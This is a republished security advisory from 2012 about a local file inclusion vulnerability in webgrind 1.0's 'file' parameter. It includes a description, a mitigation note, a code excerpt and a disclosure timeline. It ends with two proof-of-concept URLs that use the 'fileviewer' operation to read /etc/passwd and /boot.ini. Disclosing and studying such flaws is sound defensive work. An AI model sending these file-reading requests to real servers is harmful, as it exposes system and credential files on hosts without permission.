webgrind 1.0 (file param) Local File Inclusion Vulnerability

vendor:

webgrind

by:

Michael Meyer

7,5

CVSS

HIGH

Local File Inclusion Vulnerability

CWE

Product Name: webgrind

Affected Version From: 1.0

Affected Version To: v1.02 in trunk on github

Patch Exists: YES

Related CWE: N/A

CPE: a:joakim_nygard:webgrind

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows XP Professional SP3 (EN), Apache 2.2.21, PHP 5.3.9, MySQL 5.5.20

2012

webgrind 1.0 (file param) Local File Inclusion Vulnerability

webgrind suffers from a file inlcusion vulnerability (LFI) when input passed thru the 'file' parameter to index.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.

Mitigation:

Input validation should be performed to verify that the file parameter is a valid file before being used to include files.

Source

Exploit-DB raw data:

webgrind 1.0 (file param) Local File Inclusion Vulnerability


Vendor: Joakim Nygard and Jacob Oettinger
Product web page: http://code.google.com/p/webgrind
Affected version: 1.0 (v1.02 in trunk on github)

Summary: Webgrind is an Xdebug profiling web frontend in PHP5.

Desc: webgrind suffers from a file inlcusion vulnerability (LFI)
when input passed thru the 'file' parameter to index.php is not
properly verified before being used to include files. This can be
exploited to include files from local resources with directory
traversal attacks and URL encoded NULL bytes.

----------------------------------------
/index.php:
-----------

122: case 'fileviewer':
123:     $file = get('file');
124:     $line = get('line');

----------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Michael Meyer
                            michael.meyer greenbone net


Vendor status:

[22.02.2012] Vulnerability discovered.
[22.02.2012] Vendor notified.
[24.02.2012] No response from the vendor.
[25.02.2012] Public security advisory released.


Advisory ID: ZSL-2012-5075
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php

Vendor: http://code.google.com/p/webgrind/issues/detail?id=66


22.02.2012

---


 http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer
 http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer